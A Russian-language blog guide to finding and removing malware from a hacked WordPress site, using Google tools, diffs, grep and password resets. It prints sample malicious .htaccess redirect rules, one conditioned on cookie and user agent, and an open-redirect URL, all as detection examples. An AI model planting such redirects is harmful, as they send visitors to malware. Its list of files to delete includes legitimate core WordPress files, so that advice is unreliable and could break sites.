Вместо предисловия

WordpressMalwarehowtoremoveМножество сервисов в сети предлагают платное сканирование сайтов на предмет обнаружения malware. На практике Google быстрее всех их обнаруживает malware и делает это совершенно бесплатно.

На практике выходит так, что на сегодняшний день самый лучший malware scanner это Google Chrome.

Для получения сообщений о подобных событиях зарегистрируйте свой сайт в Google Webmasters Tools (Search Console).

 

Остановите ваш сайт

Как только вы, или скорее всего Google, обнаружили вредоносную программу на своем веб-сайте, выполните действия по предотвращению дальнейшего использования его хакерами.

Нет смысла «лечить» работающий заражённый сайт, если в тоже самое время злоумышленники могут инжектировать свой код.

Выполните следующие действия, чтобы остановить свой WordPress сайт на техобслуживание «SEO friendly» способом.

Шаг 1

Создайте страничку «website under maintenance» с именем 503.php. Разместите следующий PHP код как можно выше и перед тэгом <html>:

Этот код генерирует 503 статус в заголовке ответа, который для поисковиков (читай — Google, а что еще какие-то остались?) означает, что ваш сайт временно находится на техобслуживании. Ключевое слово «временно» и делать так рекомендует (читай — предписывает) Google.

Параметр «Retry-After» говорит поисковику пробовать снова индексировать веб-сайт через 1 час.

Также можно вставить ваш Google Analytics tracking code в head части 503.php страницы для продолжения отслеживания посетителей во время простоя.

Шаг 2

Добавьте следующий код в начало .htaccess файла. Этот код автоматически перенаправит всех посетителей сайта на 503.php страницу :

Где 23.23.23.23 — это ваш IP.

 

Проверьте свой компьютер

Если ваш собственный ПК под Windows — детищем Билла Гейтса, то первое что вы должны сделать — проверить его на вирусы и бэкдоры.

 

Смените все пароли

Смените все пароли на:

  • админ панель WordPress
  • панель управления хостингом
  • FTP акаунт
  • базу данных MySQL, и не забудьте прописать новый пароль в wp-config.php

Смените WordPress Security Keys и Salts. WordPress использует четыре разных ключа безопасности для шифрования информации, хранящейся в пользовательских куках, что делает ваш сайт устойчивее к взлому. Вы можете увидеть эти строки в wp-config.php :

Вы должны изменить все эти ключи безопасности и соли для того, чтобы сделать недействительными все прежние куки вашего сайта.

Сгенерировать новые значения можно с помощью официального WordPress Security Keys generator.

Одно неудобство в том, что все зарегистрированные пользователи (как минимум владелец сайта) должны будут залогиниться снова.

Сделайте резервную копию

Перед началом работ по удалению вредоносного кода обязательно сделайте бэкап:

  • всех файлов WordPress
  • базы данных.

Не забудьте про файлы .htaccess и robots.txt.

Даю 99% что до этого вы не делали регулярные бэкапы сайта, поэтому скорее всего чистой свежей копии у вас нет. Это послужит хорошим уроком на будущее.

А вот если чистая недавняя копия есть, то простое сравнение каталогов, отдельных файлов или SQL-дампа БД с помощью Linux команды diff очень быстро выявит вредоносные изменения.

Используйте Chrome и Webmaster Tool

Используйте Google Chrome и Google Webmaster Tool для быстрой оценки заражения.

Пример диагностической страницы Google Safe Browsing

http://www.google.com/safebrowsing/diagnostic?site=www.mywebsite.com

Замените mywebsite.com на ваш домен.

В этом примере вы должны найти ссылки на вредоносные сайты и удалить их из файлов и БД. Хакеры, как правило размещают эти ссылки в темах оформления WordPress.

А теперь интересный трюк. Если пройти по ссылке

http://www.google.com/safebrowsing/diagnostic?site=www.google.com

то окажется, что … сам Google заражен! Вот такая самокритика :)

Чтобы перепроверить факт внесения Гуглом вашего сайта в списки опасных, введите в строку поиска:

info:<адрес вашего сайт>

В любом случае, теперь войдите в инструменты для веб-мастеров Google, чтобы получить более подробную информацию о ваших проблемах.

В меню Health > Malware увидите URLs с malware. Это поможет быстро найти и устранить проблемы.

Используйте опцию Fetch as Google для обнаружения проблем, которые не видны через обычный браузер, но которые увидел Google.

Дополнительно можете посетить сайт Free Website Malware and Security Scanner.

 

Ищем вредоносный контент

Если у вас нет чистой резервной копии сайта, то скачиваем исходные файлы WordPress с офсайта и начинаем сверять пофайлово.

Легко это сделать с помощью обычной команды diff :

diff -u -r <каталог с чистым WP> <каталог вашего сайта>

Обращаем внимание в том числе и на те файлы, которых раньше не было. Особенно, если такие новые файлы находятся в каталоге /wp-content/.

Часто взломщики (и никакие они не хакеры!) не загружают вредоносные файлы, вместо этого они вставляют вредоносный код в существующие файлы WordPress. Особенно они нацелены на те файлы для вставки вредоносного кода, которые смогут выжить после обновлений и переустановок WordPress, например, это ваши файлы тем оформления.

IFRAME и NOSCRIPT

Вредоносные коды, как правило, вставляются с помощью тегов IFRAME и NOSCRIPT. Поэтому ищите их специально, например, с помощью команды grep -i.

Вредоносный код может быть в виде ссылки на исполняемый файл (.exe, .cmd и т.п.) или это может быть скрипт, который загружает вредоносное ПО или перенаправляет пользователей на сайты, которые содержат вредоносные программы.

Внутри записей WordPress, которые хранятся в базе данных, можно воспользоваться поиском с помощью SQL запросов типа:

Зашифрованный код

Визуально просмотрите файлы на предмет кода, который выглядит подозрительно. Например:

%www%abrakadabra%zy%%%\u9770\u\u

Зашифрованный код обычно используется взломщиками (и никакие они не хакеры!), чтобы скрыть вредоносное ПО. Используйте утилиту Screaming Frog SEO Spider Tool и её “custom filters” для поиска.

Пользовательский контент

Просмотрите области сайта, где контент вносят пользователи. Например, комментарии обычно используются, чтобы поставить ссылку на зловред. Используйте “custom filters” в «Screaming Frog SEO Spider Tool» для поиска спам слов (типа viagra, buy, porn, casino, insurance, work at home) на вашем сайте.

Еще для этого можно использовать поисковую команду Google

site:<адрес сайта>

Также смотрите поисковые запросы в отчетах инструментов Google для веб-мастеров. Если ваш сайт стал появляться в выдаче по таким словам как «casino viagra», то возможно где-то притаился спам-контент.

Ссылки

Просмотрите внутренние и внешние ссылки. Ищите ссылки на незнакомые сайты или сайты с непонятными именами, например, ertfdcvt.com. Вы можете сканировать ваши ссылки через Frog SEO spider, Google Webmaster tools или другие инструменты типа”open site explorer”.

Open Redirect

Проверьте сайт на Open Redirect – уязвимость скрытого перенаправления. С её помощью взломщик перенаправляет посетителя на другой, уже вредоносный, сайт. Код выглядит примерно так:

www.domain.com/faq.php?url=evil.com

С помощью Google Analytics проверьте исходящий трафик. Это тоже может натолкнуть на мысль с каких страниц посетители уходят с сайта.

.htaccess

Проверьте .htaccess

Этот файл является излюбленным местом для добавления вредоносного кода. Код добавляют, чтобы перенаправить посетителей вашего сайта на сайт где находятся вредоносные программы. Во время проверки файла .htaccess убедитесь, что вы проверили его весь, сверху донизу. Иногда вредоносный код располагается после сотни пустых строк в вашем файле. Это делается для того, чтобы затруднить его обнаружение. Эти дополнительные вредоносные строки могут выглядеть так

RewriteRule .* http://globalpowergamehack.com/in.php?n=30 [R,L]

или так

ErrorDocument 400 http://aberffggg.nn.cc/ht_er_docs/

или так

RewriteCond %{HTTP_COOKIE} !^._xyz=xyz.$
RewriteCond %{HTTP_USER_AGENT} .Windows.$ [NC]
RewriteRule ^(.*)$ http://maliciousite.com/abc.php [R=301,L]

Уязвимые файлы WordPress

Проверьте файлы wp-config.php и index.php. Иногда вредоносный код располагается после сотни пустых строк в этом файле.

Проверьте все файлы, которые могут быть загружены с вашего веб-сайта. Иногда взломщики изменяют эти файлы, чтобы добавить вредоносный код.

Также найдите и удалите следующие файлы с веб-сервера. Они могут использоваться для доставки вредоносных программ:

  • wp-includes/xmlrpc.php
  • wp-includes/css/css.php
  • wp-includes/css/style.php
  • /wp-includes/js/jquery/jquery.js
  • /wp-content/upd.php
  • /wp-content/themes/[имя темы]/temp/*
  • wp-admin/upd.php
  • удалите все файлы изображений, zip-файлы и другие которые больше не используются
  • удалите все плагины которые больше не используются
  • удалите все WordPress темы оформления которые больше не используются.

Проверьте есть ли скрытые администраторы на вашем сайте и удалите их учетные записи. Это можно сделать как в админ-панели WordPress, так и с помощью phpMyAdmin.

Что дальше?

Если ничего не помогло, сотрите весь сайт и проведите полную переустановку WordPress с заливкой базы данных из резервной копии. Если и это не помогло — меняйте хостинг-провайдера.

После того, как все сделано откройте Google Search Console  и напишите заявку на повторное сканирование, проверку (review) вашего сайта.

Stay tuned!